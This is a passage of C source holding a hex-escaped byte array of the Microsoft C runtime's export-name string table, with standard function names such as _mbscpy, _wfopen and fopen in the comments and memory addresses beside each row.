"\x5F\x69\x73\x6D\x62\x63\x6C\x6F\x77\x65\x72\x00\x5F\x69\x73\x6D" // _ismbclower._ism /* 77C2BD20 */ "\x62\x63\x70\x72\x69\x6E\x74\x00\x5F\x69\x73\x6D\x62\x63\x70\x75" // bcprint._ismbcpu /* 77C2BD30 */ "\x6E\x63\x74\x00\x5F\x69\x73\x6D\x62\x63\x73\x70\x61\x63\x65\x00" // nct._ismbcspace. /* 77C2BD40 */ "\x5F\x69\x73\x6D\x62\x63\x73\x79\x6D\x62\x6F\x6C\x00\x5F\x69\x73" // _ismbcsymbol._is /* 77C2BD50 */ "\x6D\x62\x63\x75\x70\x70\x65\x72\x00\x5F\x69\x73\x6D\x62\x73\x6C" // mbcupper._ismbsl /* 77C2BD60 */ "\x65\x61\x64\x00\x5F\x69\x73\x6D\x62\x73\x74\x72\x61\x69\x6C\x00" // ead._ismbstrail. /* 77C2BD70 */ "\x5F\x69\x73\x6E\x61\x6E\x00\x5F\x69\x74\x6F\x61\x00\x5F\x69\x74" // _isnan._itoa._it /* 77C2BD80 */ "\x6F\x77\x00\x5F\x6A\x30\x00\x5F\x6A\x31\x00\x5F\x6A\x6E\x00\x5F" // ow._j0._j1._jn._ /* 77C2BD90 */ "\x6B\x62\x68\x69\x74\x00\x5F\x6C\x66\x69\x6E\x64\x00\x5F\x6C\x6F" // kbhit._lfind._lo /* 77C2BDA0 */ "\x61\x64\x64\x6C\x6C\x00\x5F\x6C\x6F\x63\x61\x6C\x5F\x75\x6E\x77" // addll._local_unw /* 77C2BDB0 */ "\x69\x6E\x64\x32\x00\x5F\x6C\x6F\x63\x61\x6C\x74\x69\x6D\x65\x36" // ind2._localtime6 /* 77C2BDC0 */ "\x34\x00\x5F\x6C\x6F\x63\x6B\x00\x5F\x6C\x6F\x63\x6B\x69\x6E\x67" // 4._lock._locking /* 77C2BDD0 */ "\x00\x5F\x6C\x6F\x67\x62\x00\x5F\x6C\x6F\x6E\x67\x6A\x6D\x70\x65" // ._logb._longjmpe /* 77C2BDE0 */ "\x78\x00\x5F\x6C\x72\x6F\x74\x6C\x00\x5F\x6C\x72\x6F\x74\x72\x00" // x._lrotl._lrotr. /* 77C2BDF0 */ "\x5F\x6C\x73\x65\x61\x72\x63\x68\x00\x5F\x6C\x73\x65\x65\x6B\x00" // _lsearch._lseek. /* 77C2BE00 */ "\x5F\x6C\x73\x65\x65\x6B\x69\x36\x34\x00\x5F\x6C\x74\x6F\x61\x00" // _lseeki64._ltoa. /* 77C2BE10 */ "\x5F\x6C\x74\x6F\x77\x00\x5F\x6D\x61\x6B\x65\x70\x61\x74\x68\x00" // _ltow._makepath. /* 77C2BE20 */ "\x5F\x6D\x62\x62\x74\x6F\x6D\x62\x63\x00\x5F\x6D\x62\x62\x74\x79" // _mbbtombc._mbbty /* 77C2BE30 */ "\x70\x65\x00\x5F\x6D\x62\x63\x61\x73\x65\x6D\x61\x70\x00\x5F\x6D" // pe._mbcasemap._m /* 77C2BE40 */ "\x62\x63\x63\x70\x79\x00\x5F\x6D\x62\x63\x6A\x69\x73\x74\x6F\x6A" // bccpy._mbcjistoj /* 77C2BE50 */ "\x6D\x73\x00\x5F\x6D\x62\x63\x6A\x6D\x73\x74\x6F\x6A\x69\x73\x00" // ms._mbcjmstojis. /* 77C2BE60 */ "\x5F\x6D\x62\x63\x6C\x65\x6E\x00\x5F\x6D\x62\x63\x74\x6F\x68\x69" // _mbclen._mbctohi /* 77C2BE70 */ "\x72\x61\x00\x5F\x6D\x62\x63\x74\x6F\x6B\x61\x74\x61\x00\x5F\x6D" // ra._mbctokata._m /* 77C2BE80 */ "\x62\x63\x74\x6F\x6C\x6F\x77\x65\x72\x00\x5F\x6D\x62\x63\x74\x6F" // bctolower._mbcto /* 77C2BE90 */ "\x6D\x62\x62\x00\x5F\x6D\x62\x63\x74\x6F\x75\x70\x70\x65\x72\x00" // mbb._mbctoupper. /* 77C2BEA0 */ "\x5F\x6D\x62\x63\x74\x79\x70\x65\x00\x5F\x6D\x62\x73\x62\x74\x79" // _mbctype._mbsbty /* 77C2BEB0 */ "\x70\x65\x00\x5F\x6D\x62\x73\x63\x61\x74\x00\x5F\x6D\x62\x73\x63" // pe._mbscat._mbsc /* 77C2BEC0 */ "\x68\x72\x00\x5F\x6D\x62\x73\x63\x6D\x70\x00\x5F\x6D\x62\x73\x63" // hr._mbscmp._mbsc /* 77C2BED0 */ "\x6F\x6C\x6C\x00\x5F\x6D\x62\x73\x63\x70\x79\x00\x5F\x6D\x62\x73" // oll._mbscpy._mbs /* 77C2BEE0 */ "\x63\x73\x70\x6E\x00\x5F\x6D\x62\x73\x64\x65\x63\x00\x5F\x6D\x62" // cspn._mbsdec._mb /* 77C2BEF0 */ "\x73\x64\x75\x70\x00\x5F\x6D\x62\x73\x69\x63\x6D\x70\x00\x5F\x6D" // sdup._mbsicmp._m /* 77C2BF00 */ "\x62\x73\x69\x63\x6F\x6C\x6C\x00\x5F\x6D\x62\x73\x69\x6E\x63\x00" // bsicoll._mbsinc. /* 77C2BF10 */ "\x5F\x6D\x62\x73\x6C\x65\x6E\x00\x5F\x6D\x62\x73\x6C\x77\x72\x00" // _mbslen._mbslwr. /* 77C2BF20 */ "\x5F\x6D\x62\x73\x6E\x62\x63\x61\x74\x00\x5F\x6D\x62\x73\x6E\x62" // _mbsnbcat._mbsnb /* 77C2BF30 */ "\x63\x6D\x70\x00\x5F\x6D\x62\x73\x6E\x62\x63\x6E\x74\x00\x5F\x6D" // cmp._mbsnbcnt._m /* 77C2BF40 */ "\x62\x73\x6E\x62\x63\x6F\x6C\x6C\x00\x5F\x6D\x62\x73\x6E\x62\x63" // bsnbcoll._mbsnbc /* 77C2BF50 */ "\x70\x79\x00\x5F\x6D\x62\x73\x6E\x62\x69\x63\x6D\x70\x00\x5F\x6D" // py._mbsnbicmp._m /* 77C2BF60 */ "\x62\x73\x6E\x62\x69\x63\x6F\x6C\x6C\x00\x5F\x6D\x62\x73\x6E\x62" // bsnbicoll._mbsnb /* 77C2BF70 */ "\x73\x65\x74\x00\x5F\x6D\x62\x73\x6E\x63\x61\x74\x00\x5F\x6D\x62" // set._mbsncat._mb /* 77C2BF80 */ "\x73\x6E\x63\x63\x6E\x74\x00\x5F\x6D\x62\x73\x6E\x63\x6D\x70\x00" // snccnt._mbsncmp. /* 77C2BF90 */ "\x5F\x6D\x62\x73\x6E\x63\x6F\x6C\x6C\x00\x5F\x6D\x62\x73\x6E\x63" // _mbsncoll._mbsnc /* 77C2BFA0 */ "\x70\x79\x00\x5F\x6D\x62\x73\x6E\x65\x78\x74\x63\x00\x5F\x6D\x62" // py._mbsnextc._mb /* 77C2BFB0 */ "\x73\x6E\x69\x63\x6D\x70\x00\x5F\x6D\x62\x73\x6E\x69\x63\x6F\x6C" // snicmp._mbsnicol /* 77C2BFC0 */ "\x6C\x00\x5F\x6D\x62\x73\x6E\x69\x6E\x63\x00\x5F\x6D\x62\x73\x6E" // l._mbsninc._mbsn /* 77C2BFD0 */ "\x73\x65\x74\x00\x5F\x6D\x62\x73\x70\x62\x72\x6B\x00\x5F\x6D\x62" // set._mbspbrk._mb /* 77C2BFE0 */ "\x73\x72\x63\x68\x72\x00\x5F\x6D\x62\x73\x72\x65\x76\x00\x5F\x6D" // srchr._mbsrev._m /* 77C2BFF0 */ "\x62\x73\x73\x65\x74\x00\x5F\x6D\x62\x73\x73\x70\x6E\x00\x5F\x6D" // bsset._mbsspn._m /* 77C2C000 */ "\x62\x73\x73\x70\x6E\x70\x00\x5F\x6D\x62\x73\x73\x74\x72\x00\x5F" // bsspnp._mbsstr._ /* 77C2C010 */ "\x6D\x62\x73\x74\x6F\x6B\x00\x5F\x6D\x62\x73\x74\x72\x6C\x65\x6E" // mbstok._mbstrlen /* 77C2C020 */ "\x00\x5F\x6D\x62\x73\x75\x70\x72\x00\x5F\x6D\x65\x6D\x63\x63\x70" // ._mbsupr._memccp /* 77C2C030 */ "\x79\x00\x5F\x6D\x65\x6D\x69\x63\x6D\x70\x00\x5F\x6D\x6B\x64\x69" // y._memicmp._mkdi /* 77C2C040 */ "\x72\x00\x5F\x6D\x6B\x74\x65\x6D\x70\x00\x5F\x6D\x6B\x74\x69\x6D" // r._mktemp._mktim /* 77C2C050 */ "\x65\x36\x34\x00\x5F\x6D\x73\x69\x7A\x65\x00\x5F\x6E\x65\x78\x74" // e64._msize._next /* 77C2C060 */ "\x61\x66\x74\x65\x72\x00\x5F\x6F\x6E\x65\x78\x69\x74\x00\x5F\x6F" // after._onexit._o /* 77C2C070 */ "\x70\x65\x6E\x00\x5F\x6F\x70\x65\x6E\x5F\x6F\x73\x66\x68\x61\x6E" // pen._open_osfhan /* 77C2C080 */ "\x64\x6C\x65\x00\x5F\x6F\x73\x70\x6C\x61\x74\x66\x6F\x72\x6D\x00" // dle._osplatform. /* 77C2C090 */ "\x5F\x6F\x73\x76\x65\x72\x00\x5F\x6F\x75\x74\x70\x00\x5F\x6F\x75" // _osver._outp._ou /* 77C2C0A0 */ "\x74\x70\x64\x00\x5F\x6F\x75\x74\x70\x77\x00\x5F\x70\x63\x6C\x6F" // tpd._outpw._pclo /* 77C2C0B0 */ "\x73\x65\x00\x5F\x70\x63\x74\x79\x70\x65\x00\x5F\x70\x67\x6D\x70" // se._pctype._pgmp /* 77C2C0C0 */ "\x74\x72\x00\x5F\x70\x69\x70\x65\x00\x5F\x70\x6F\x70\x65\x6E\x00" // tr._pipe._popen. /* 77C2C0D0 */ "\x5F\x70\x75\x72\x65\x63\x61\x6C\x6C\x00\x5F\x70\x75\x74\x63\x68" // _purecall._putch /* 77C2C0E0 */ "\x00\x5F\x70\x75\x74\x65\x6E\x76\x00\x5F\x70\x75\x74\x77\x00\x5F" // ._putenv._putw._ /* 77C2C0F0 */ "\x70\x75\x74\x77\x63\x68\x00\x5F\x70\x75\x74\x77\x73\x00\x5F\x70" // putwch._putws._p /* 77C2C100 */ "\x77\x63\x74\x79\x70\x65\x00\x5F\x72\x65\x61\x64\x00\x5F\x72\x65" // wctype._read._re /* 77C2C110 */ "\x73\x65\x74\x73\x74\x6B\x6F\x66\x6C\x77\x00\x5F\x72\x6D\x64\x69" // setstkoflw._rmdi /* 77C2C120 */ "\x72\x00\x5F\x72\x6D\x74\x6D\x70\x00\x5F\x72\x6F\x74\x6C\x00\x5F" // r._rmtmp._rotl._ /* 77C2C130 */ "\x72\x6F\x74\x72\x00\x5F\x73\x61\x66\x65\x5F\x66\x64\x69\x76\x00" // rotr._safe_fdiv. /* 77C2C140 */ "\x5F\x73\x61\x66\x65\x5F\x66\x64\x69\x76\x72\x00\x5F\x73\x61\x66" // _safe_fdivr._saf /* 77C2C150 */ "\x65\x5F\x66\x70\x72\x65\x6D\x00\x5F\x73\x61\x66\x65\x5F\x66\x70" // e_fprem._safe_fp /* 77C2C160 */ "\x72\x65\x6D\x31\x00\x5F\x73\x63\x61\x6C\x62\x00\x5F\x73\x63\x70" // rem1._scalb._scp /* 77C2C170 */ "\x72\x69\x6E\x74\x66\x00\x5F\x73\x63\x77\x70\x72\x69\x6E\x74\x66" // rintf._scwprintf /* 77C2C180 */ "\x00\x5F\x73\x65\x61\x72\x63\x68\x65\x6E\x76\x00\x5F\x73\x65\x68" // ._searchenv._seh /* 77C2C190 */ "\x5F\x6C\x6F\x6E\x67\x6A\x6D\x70\x5F\x75\x6E\x77\x69\x6E\x64\x00" // _longjmp_unwind. /* 77C2C1A0 */ "\x5F\x73\x65\x74\x5F\x53\x53\x45\x32\x5F\x65\x6E\x61\x62\x6C\x65" // _set_SSE2_enable /* 77C2C1B0 */ "\x00\x5F\x73\x65\x74\x5F\x65\x72\x72\x6F\x72\x5F\x6D\x6F\x64\x65" // ._set_error_mode /* 77C2C1C0 */ "\x00\x5F\x73\x65\x74\x5F\x73\x62\x68\x5F\x74\x68\x72\x65\x73\x68" // ._set_sbh_thresh /* 77C2C1D0 */ "\x6F\x6C\x64\x00\x5F\x73\x65\x74\x65\x72\x72\x6F\x72\x6D\x6F\x64" // old._seterrormod /* 77C2C1E0 */ "\x65\x00\x5F\x73\x65\x74\x6A\x6D\x70\x00\x5F\x73\x65\x74\x6A\x6D" // e._setjmp._setjm /* 77C2C1F0 */ "\x70\x33\x00\x5F\x73\x65\x74\x6D\x61\x78\x73\x74\x64\x69\x6F\x00" // p3._setmaxstdio. /* 77C2C200 */ "\x5F\x73\x65\x74\x6D\x62\x63\x70\x00\x5F\x73\x65\x74\x6D\x6F\x64" // _setmbcp._setmod /* 77C2C210 */ "\x65\x00\x5F\x73\x65\x74\x73\x79\x73\x74\x69\x6D\x65\x00\x5F\x73" // e._setsystime._s /* 77C2C220 */ "\x6C\x65\x65\x70\x00\x5F\x73\x6E\x70\x72\x69\x6E\x74\x66\x00\x5F" // leep._snprintf._ /* 77C2C230 */ "\x73\x6E\x73\x63\x61\x6E\x66\x00\x5F\x73\x6E\x77\x70\x72\x69\x6E" // snscanf._snwprin /* 77C2C240 */ "\x74\x66\x00\x5F\x73\x6E\x77\x73\x63\x61\x6E\x66\x00\x5F\x73\x6F" // tf._snwscanf._so /* 77C2C250 */ "\x70\x65\x6E\x00\x5F\x73\x70\x61\x77\x6E\x6C\x00\x5F\x73\x70\x61" // pen._spawnl._spa /* 77C2C260 */ "\x77\x6E\x6C\x65\x00\x5F\x73\x70\x61\x77\x6E\x6C\x70\x00\x5F\x73" // wnle._spawnlp._s /* 77C2C270 */ "\x70\x61\x77\x6E\x6C\x70\x65\x00\x5F\x73\x70\x61\x77\x6E\x76\x00" // pawnlpe._spawnv. /* 77C2C280 */ "\x5F\x73\x70\x61\x77\x6E\x76\x65\x00\x5F\x73\x70\x61\x77\x6E\x76" // _spawnve._spawnv /* 77C2C290 */ "\x70\x00\x5F\x73\x70\x61\x77\x6E\x76\x70\x65\x00\x5F\x73\x70\x6C" // p._spawnvpe._spl /* 77C2C2A0 */ "\x69\x74\x70\x61\x74\x68\x00\x5F\x73\x74\x61\x74\x00\x5F\x73\x74" // itpath._stat._st /* 77C2C2B0 */ "\x61\x74\x36\x34\x00\x5F\x73\x74\x61\x74\x69\x36\x34\x00\x5F\x73" // at64._stati64._s /* 77C2C2C0 */ "\x74\x61\x74\x75\x73\x66\x70\x00\x5F\x73\x74\x72\x63\x6D\x70\x69" // tatusfp._strcmpi /* 77C2C2D0 */ "\x00\x5F\x73\x74\x72\x64\x61\x74\x65\x00\x5F\x73\x74\x72\x64\x75" // ._strdate._strdu /* 77C2C2E0 */ "\x70\x00\x5F\x73\x74\x72\x65\x72\x72\x6F\x72\x00\x5F\x73\x74\x72" // p._strerror._str /* 77C2C2F0 */ "\x69\x63\x6D\x70\x00\x5F\x73\x74\x72\x69\x63\x6F\x6C\x6C\x00\x5F" // icmp._stricoll._ /* 77C2C300 */ "\x73\x74\x72\x6C\x77\x72\x00\x5F\x73\x74\x72\x6E\x63\x6F\x6C\x6C" // strlwr._strncoll /* 77C2C310 */ "\x00\x5F\x73\x74\x72\x6E\x69\x63\x6D\x70\x00\x5F\x73\x74\x72\x6E" // ._strnicmp._strn /* 77C2C320 */ "\x69\x63\x6F\x6C\x6C\x00\x5F\x73\x74\x72\x6E\x73\x65\x74\x00\x5F" // icoll._strnset._ /* 77C2C330 */ "\x73\x74\x72\x72\x65\x76\x00\x5F\x73\x74\x72\x73\x65\x74\x00\x5F" // strrev._strset._ /* 77C2C340 */ "\x73\x74\x72\x74\x69\x6D\x65\x00\x5F\x73\x74\x72\x74\x6F\x69\x36" // strtime._strtoi6 /* 77C2C350 */ "\x34\x00\x5F\x73\x74\x72\x74\x6F\x75\x69\x36\x34\x00\x5F\x73\x74" // 4._strtoui64._st /* 77C2C360 */ "\x72\x75\x70\x72\x00\x5F\x73\x77\x61\x62\x00\x5F\x73\x79\x73\x5F" // rupr._swab._sys_ /* 77C2C370 */ "\x65\x72\x72\x6C\x69\x73\x74\x00\x5F\x73\x79\x73\x5F\x6E\x65\x72" // errlist._sys_ner /* 77C2C380 */ "\x72\x00\x5F\x74\x65\x6C\x6C\x00\x5F\x74\x65\x6C\x6C\x69\x36\x34" // r._tell._telli64 /* 77C2C390 */ "\x00\x5F\x74\x65\x6D\x70\x6E\x61\x6D\x00\x5F\x74\x69\x6D\x65\x36" // ._tempnam._time6 /* 77C2C3A0 */ "\x34\x00\x5F\x74\x69\x6D\x65\x7A\x6F\x6E\x65\x00\x5F\x74\x6F\x6C" // 4._timezone._tol /* 77C2C3B0 */ "\x6F\x77\x65\x72\x00\x5F\x74\x6F\x75\x70\x70\x65\x72\x00\x5F\x74" // ower._toupper._t /* 77C2C3C0 */ "\x7A\x6E\x61\x6D\x65\x00\x5F\x74\x7A\x73\x65\x74\x00\x5F\x75\x69" // zname._tzset._ui /* 77C2C3D0 */ "\x36\x34\x74\x6F\x61\x00\x5F\x75\x69\x36\x34\x74\x6F\x77\x00\x5F" // 64toa._ui64tow._ /* 77C2C3E0 */ "\x75\x6C\x74\x6F\x61\x00\x5F\x75\x6C\x74\x6F\x77\x00\x5F\x75\x6D" // ultoa._ultow._um /* 77C2C3F0 */ "\x61\x73\x6B\x00\x5F\x75\x6E\x67\x65\x74\x63\x68\x00\x5F\x75\x6E" // ask._ungetch._un /* 77C2C400 */ "\x67\x65\x74\x77\x63\x68\x00\x5F\x75\x6E\x6C\x69\x6E\x6B\x00\x5F" // getwch._unlink._ /* 77C2C410 */ "\x75\x6E\x6C\x6F\x61\x64\x64\x6C\x6C\x00\x5F\x75\x6E\x6C\x6F\x63" // unloaddll._unloc /* 77C2C420 */ "\x6B\x00\x5F\x75\x74\x69\x6D\x65\x00\x5F\x75\x74\x69\x6D\x65\x36" // k._utime._utime6 /* 77C2C430 */ "\x34\x00\x5F\x76\x73\x63\x70\x72\x69\x6E\x74\x66\x00\x5F\x76\x73" // 4._vscprintf._vs /* 77C2C440 */ "\x63\x77\x70\x72\x69\x6E\x74\x66\x00\x5F\x76\x73\x6E\x70\x72\x69" // cwprintf._vsnpri /* 77C2C450 */ "\x6E\x74\x66\x00\x5F\x76\x73\x6E\x77\x70\x72\x69\x6E\x74\x66\x00" // ntf._vsnwprintf. /* 77C2C460 */ "\x5F\x77\x61\x63\x63\x65\x73\x73\x00\x5F\x77\x61\x73\x63\x74\x69" // _waccess._wascti /* 77C2C470 */ "\x6D\x65\x00\x5F\x77\x63\x68\x64\x69\x72\x00\x5F\x77\x63\x68\x6D" // me._wchdir._wchm /* 77C2C480 */ "\x6F\x64\x00\x5F\x77\x63\x6D\x64\x6C\x6E\x00\x5F\x77\x63\x72\x65" // od._wcmdln._wcre /* 77C2C490 */ "\x61\x74\x00\x5F\x77\x63\x73\x64\x75\x70\x00\x5F\x77\x63\x73\x65" // at._wcsdup._wcse /* 77C2C4A0 */ "\x72\x72\x6F\x72\x00\x5F\x77\x63\x73\x69\x63\x6D\x70\x00\x5F\x77" // rror._wcsicmp._w /* 77C2C4B0 */ "\x63\x73\x69\x63\x6F\x6C\x6C\x00\x5F\x77\x63\x73\x6C\x77\x72\x00" // csicoll._wcslwr. /* 77C2C4C0 */ "\x5F\x77\x63\x73\x6E\x63\x6F\x6C\x6C\x00\x5F\x77\x63\x73\x6E\x69" // _wcsncoll._wcsni /* 77C2C4D0 */ "\x63\x6D\x70\x00\x5F\x77\x63\x73\x6E\x69\x63\x6F\x6C\x6C\x00\x5F" // cmp._wcsnicoll._ /* 77C2C4E0 */ "\x77\x63\x73\x6E\x73\x65\x74\x00\x5F\x77\x63\x73\x72\x65\x76\x00" // wcsnset._wcsrev. /* 77C2C4F0 */ "\x5F\x77\x63\x73\x73\x65\x74\x00\x5F\x77\x63\x73\x74\x6F\x69\x36" // _wcsset._wcstoi6 /* 77C2C500 */ "\x34\x00\x5F\x77\x63\x73\x74\x6F\x75\x69\x36\x34\x00\x5F\x77\x63" // 4._wcstoui64._wc /* 77C2C510 */ "\x73\x75\x70\x72\x00\x5F\x77\x63\x74\x69\x6D\x65\x00\x5F\x77\x63" // supr._wctime._wc /* 77C2C520 */ "\x74\x69\x6D\x65\x36\x34\x00\x5F\x77\x65\x6E\x76\x69\x72\x6F\x6E" // time64._wenviron /* 77C2C530 */ "\x00\x5F\x77\x65\x78\x65\x63\x6C\x00\x5F\x77\x65\x78\x65\x63\x6C" // ._wexecl._wexecl /* 77C2C540 */ "\x65\x00\x5F\x77\x65\x78\x65\x63\x6C\x70\x00\x5F\x77\x65\x78\x65" // e._wexeclp._wexe /* 77C2C550 */ "\x63\x6C\x70\x65\x00\x5F\x77\x65\x78\x65\x63\x76\x00\x5F\x77\x65" // clpe._wexecv._we /* 77C2C560 */ "\x78\x65\x63\x76\x65\x00\x5F\x77\x65\x78\x65\x63\x76\x70\x00\x5F" // xecve._wexecvp._ /* 77C2C570 */ "\x77\x65\x78\x65\x63\x76\x70\x65\x00\x5F\x77\x66\x64\x6F\x70\x65" // wexecvpe._wfdope /* 77C2C580 */ "\x6E\x00\x5F\x77\x66\x69\x6E\x64\x66\x69\x72\x73\x74\x00\x5F\x77" // n._wfindfirst._w /* 77C2C590 */ "\x66\x69\x6E\x64\x66\x69\x72\x73\x74\x36\x34\x00\x5F\x77\x66\x69" // findfirst64._wfi /* 77C2C5A0 */ "\x6E\x64\x66\x69\x72\x73\x74\x69\x36\x34\x00\x5F\x77\x66\x69\x6E" // ndfirsti64._wfin /* 77C2C5B0 */ "\x64\x6E\x65\x78\x74\x00\x5F\x77\x66\x69\x6E\x64\x6E\x65\x78\x74" // dnext._wfindnext /* 77C2C5C0 */ "\x36\x34\x00\x5F\x77\x66\x69\x6E\x64\x6E\x65\x78\x74\x69\x36\x34" // 64._wfindnexti64 /* 77C2C5D0 */ "\x00\x5F\x77\x66\x6F\x70\x65\x6E\x00\x5F\x77\x66\x72\x65\x6F\x70" // ._wfopen._wfreop /* 77C2C5E0 */ "\x65\x6E\x00\x5F\x77\x66\x73\x6F\x70\x65\x6E\x00\x5F\x77\x66\x75" // en._wfsopen._wfu /* 77C2C5F0 */ "\x6C\x6C\x70\x61\x74\x68\x00\x5F\x77\x67\x65\x74\x63\x77\x64\x00" // llpath._wgetcwd. /* 77C2C600 */ "\x5F\x77\x67\x65\x74\x64\x63\x77\x64\x00\x5F\x77\x67\x65\x74\x65" // _wgetdcwd._wgete /* 77C2C610 */ "\x6E\x76\x00\x5F\x77\x69\x6E\x6D\x61\x6A\x6F\x72\x00\x5F\x77\x69" // nv._winmajor._wi /* 77C2C620 */ "\x6E\x6D\x69\x6E\x6F\x72\x00\x5F\x77\x69\x6E\x76\x65\x72\x00\x5F" // nminor._winver._ /* 77C2C630 */ "\x77\x6D\x61\x6B\x65\x70\x61\x74\x68\x00\x5F\x77\x6D\x6B\x64\x69" // wmakepath._wmkdi /* 77C2C640 */ "\x72\x00\x5F\x77\x6D\x6B\x74\x65\x6D\x70\x00\x5F\x77\x6F\x70\x65" // r._wmktemp._wope /* 77C2C650 */ "\x6E\x00\x5F\x77\x70\x65\x72\x72\x6F\x72\x00\x5F\x77\x70\x67\x6D" // n._wperror._wpgm /* 77C2C660 */ "\x70\x74\x72\x00\x5F\x77\x70\x6F\x70\x65\x6E\x00\x5F\x77\x70\x75" // ptr._wpopen._wpu /* 77C2C670 */ "\x74\x65\x6E\x76\x00\x5F\x77\x72\x65\x6D\x6F\x76\x65\x00\x5F\x77" // tenv._wremove._w /* 77C2C680 */ "\x72\x65\x6E\x61\x6D\x65\x00\x5F\x77\x72\x69\x74\x65\x00\x5F\x77" // rename._write._w /* 77C2C690 */ "\x72\x6D\x64\x69\x72\x00\x5F\x77\x73\x65\x61\x72\x63\x68\x65\x6E" // rmdir._wsearchen /* 77C2C6A0 */ "\x76\x00\x5F\x77\x73\x65\x74\x6C\x6F\x63\x61\x6C\x65\x00\x5F\x77" // v._wsetlocale._w /* 77C2C6B0 */ "\x73\x6F\x70\x65\x6E\x00\x5F\x77\x73\x70\x61\x77\x6E\x6C\x00\x5F" // sopen._wspawnl._ /* 77C2C6C0 */ "\x77\x73\x70\x61\x77\x6E\x6C\x65\x00\x5F\x77\x73\x70\x61\x77\x6E" // wspawnle._wspawn /* 77C2C6D0 */ "\x6C\x70\x00\x5F\x77\x73\x70\x61\x77\x6E\x6C\x70\x65\x00\x5F\x77" // lp._wspawnlpe._w /* 77C2C6E0 */ "\x73\x70\x61\x77\x6E\x76\x00\x5F\x77\x73\x70\x61\x77\x6E\x76\x65" // spawnv._wspawnve /* 77C2C6F0 */ "\x00\x5F\x77\x73\x70\x61\x77\x6E\x76\x70\x00\x5F\x77\x73\x70\x61" // ._wspawnvp._wspa /* 77C2C700 */ "\x77\x6E\x76\x70\x65\x00\x5F\x77\x73\x70\x6C\x69\x74\x70\x61\x74" // wnvpe._wsplitpat /* 77C2C710 */ "\x68\x00\x5F\x77\x73\x74\x61\x74\x00\x5F\x77\x73\x74\x61\x74\x36" // h._wstat._wstat6 /* 77C2C720 */ "\x34\x00\x5F\x77\x73\x74\x61\x74\x69\x36\x34\x00\x5F\x77\x73\x74" // 4._wstati64._wst /* 77C2C730 */ "\x72\x64\x61\x74\x65\x00\x5F\x77\x73\x74\x72\x74\x69\x6D\x65\x00" // rdate._wstrtime. /* 77C2C740 */ "\x5F\x77\x73\x79\x73\x74\x65\x6D\x00\x5F\x77\x74\x65\x6D\x70\x6E" // _wsystem._wtempn /* 77C2C750 */ "\x61\x6D\x00\x5F\x77\x74\x6D\x70\x6E\x61\x6D\x00\x5F\x77\x74\x6F" // am._wtmpnam._wto /* 77C2C760 */ "\x66\x00\x5F\x77\x74\x6F\x69\x00\x5F\x77\x74\x6F\x69\x36\x34\x00" // f._wtoi._wtoi64. /* 77C2C770 */ "\x5F\x77\x74\x6F\x6C\x00\x5F\x77\x75\x6E\x6C\x69\x6E\x6B\x00\x5F" // _wtol._wunlink._ /* 77C2C780 */ "\x77\x75\x74\x69\x6D\x65\x00\x5F\x77\x75\x74\x69\x6D\x65\x36\x34" // wutime._wutime64 /* 77C2C790 */ "\x00\x5F\x79\x30\x00\x5F\x79\x31\x00\x5F\x79\x6E\x00\x61\x62\x6F" // ._y0._y1._yn.abo /* 77C2C7A0 */ "\x72\x74\x00\x61\x62\x73\x00\x61\x63\x6F\x73\x00\x61\x73\x63\x74" // rt.abs.acos.asct /* 77C2C7B0 */ "\x69\x6D\x65\x00\x61\x73\x69\x6E\x00\x61\x74\x61\x6E\x00\x61\x74" // ime.asin.atan.at /* 77C2C7C0 */ "\x61\x6E\x32\x00\x61\x74\x65\x78\x69\x74\x00\x61\x74\x6F\x66\x00" // an2.atexit.atof. /* 77C2C7D0 */ "\x61\x74\x6F\x69\x00\x61\x74\x6F\x6C\x00\x62\x73\x65\x61\x72\x63" // atoi.atol.bsearc /* 77C2C7E0 */ "\x68\x00\x63\x61\x6C\x6C\x6F\x63\x00\x63\x65\x69\x6C\x00\x63\x6C" // h.calloc.ceil.cl /* 77C2C7F0 */ "\x65\x61\x72\x65\x72\x72\x00\x63\x6C\x6F\x63\x6B\x00\x63\x6F\x73" // earerr.clock.cos /* 77C2C800 */ "\x00\x63\x6F\x73\x68\x00\x63\x74\x69\x6D\x65\x00\x64\x69\x66\x66" // .cosh.ctime.diff /* 77C2C810 */ "\x74\x69\x6D\x65\x00\x64\x69\x76\x00\x65\x78\x69\x74\x00\x65\x78" // time.div.exit.ex /* 77C2C820 */ "\x70\x00\x66\x61\x62\x73\x00\x66\x63\x6C\x6F\x73\x65\x00\x66\x65" // p.fabs.fclose.fe /* 77C2C830 */ "\x6F\x66\x00\x66\x65\x72\x72\x6F\x72\x00\x66\x66\x6C\x75\x73\x68" // of.ferror.fflush /* 77C2C840 */ "\x00\x66\x67\x65\x74\x63\x00\x66\x67\x65\x74\x70\x6F\x73\x00\x66" // .fgetc.fgetpos.f /* 77C2C850 */ "\x67\x65\x74\x73\x00\x66\x67\x65\x74\x77\x63\x00\x66\x67\x65\x74" // gets.fgetwc.fget /* 77C2C860 */ "\x77\x73\x00\x66\x6C\x6F\x6F\x72\x00\x66\x6D\x6F\x64\x00\x66\x6F" // ws.floor.fmod.fo /* 77C2C870 */ "\x70\x65\x6E\x00\x66\x70\x72\x69\x6E\x74\x66\x00\x66\x70\x75\x74" // pen.fprintf.fput /* 77C2C880 */ "\x63\x00\x66\x70\x75\x74\x73\x00\x66\x70\x75\x74\x77\x63\x00\x66" // c.fputs.fputwc.f /* 77C2C890 */ "\x70\x75\x74\x77\x73\x00\x66\x72\x65\x61\x64\x00\x66\x72\x65\x65" // putws.fread.free /* 77C2C8A0 */ "\x00\x66\x72\x65\x6F\x70\x65\x6E\x00\x66\x72\x65\x78\x70\x00\x66" // .freopen.frexp.f /* 77C2C8B0 */ "\x73\x63\x61\x6E\x66\x00\x66\x73\x65\x65\x6B\x00\x66\x73\x65\x74" // scanf.fseek.fset /* 77C2C8C0 */ "\x70\x6F\x73\x00\x66\x74\x65\x6C\x6C\x00\x66\x77\x70\x72\x69\x6E" // pos.ftell.fwprin /* 77C2C8D0 */ "\x74\x66\x00\x66\x77\x72\x69\x74\x65\x00\x66\x77\x73\x63\x61\x6E" // tf.fwrite.fwscan /* 77C2C8E0 */ "\x66\x00\x67\x65\x74\x63\x00\x67\x65\x74\x63\x68\x61\x72\x00\x67" // f.getc.getchar.g /* 77C2C8F0 */ "\x65\x74\x65\x6E\x76\x00\x67\x65\x74\x73\x00\x67\x65\x74\x77\x63" // etenv.gets.getwc /* 77C2C900 */ "\x00\x67\x65\x74\x77\x63\x68\x61\x72\x00\x67\x6D\x74\x69\x6D\x65" // .getwchar.gmtime /* 77C2C910 */ "\x00\x69\x73\x5F\x77\x63\x74\x79\x70\x65\x00\x69\x73\x61\x6C\x6E" // .is_wctype.isaln 